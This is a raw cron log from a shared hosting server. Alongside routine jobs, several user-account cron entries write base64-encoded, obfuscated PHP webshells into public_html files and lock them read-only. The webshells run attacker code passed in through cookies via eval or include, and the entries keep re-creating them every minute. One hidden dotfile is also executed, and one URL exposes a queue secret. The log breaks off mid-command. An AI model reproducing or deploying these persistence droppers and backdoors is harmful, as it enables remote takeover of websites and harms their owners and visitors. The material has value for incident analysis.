Mar  1 19:43:01 medusa CROND[6385]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:43:01 medusa CROND[6386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:43:01 medusa CROND[6387]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:43:01 medusa CROND[6388]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:43:01 medusa CROND[6397]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 19:43:01 medusa CROND[6398]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:43:01 medusa CROND[6399]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:43:01 medusa CROND[6406]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:43:01 medusa CROND[6407]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:43:01 medusa CROND[6410]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:43:01 medusa CROND[6415]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:43:01 medusa CROND[6414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:43:01 medusa CROND[6416]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 19:44:02 medusa CROND[9060]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:44:02 medusa CROND[9061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:44:02 medusa CROND[9062]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:44:02 medusa CROND[9064]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:44:02 medusa CROND[9063]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:44:02 medusa CROND[9065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:44:02 medusa CROND[9066]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:44:02 medusa CROND[9069]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:44:02 medusa CROND[9071]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:44:02 medusa CROND[9077]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:44:02 medusa CROND[9079]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:44:02 medusa CROND[9083]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:44:02 medusa CROND[9090]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:45:02 medusa CROND[11492]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11493]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:45:02 medusa CROND[11495]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:45:02 medusa CROND[11497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:45:02 medusa CROND[11494]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:45:02 medusa CROND[11496]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:45:02 medusa CROND[11501]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:45:02 medusa CROND[11503]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 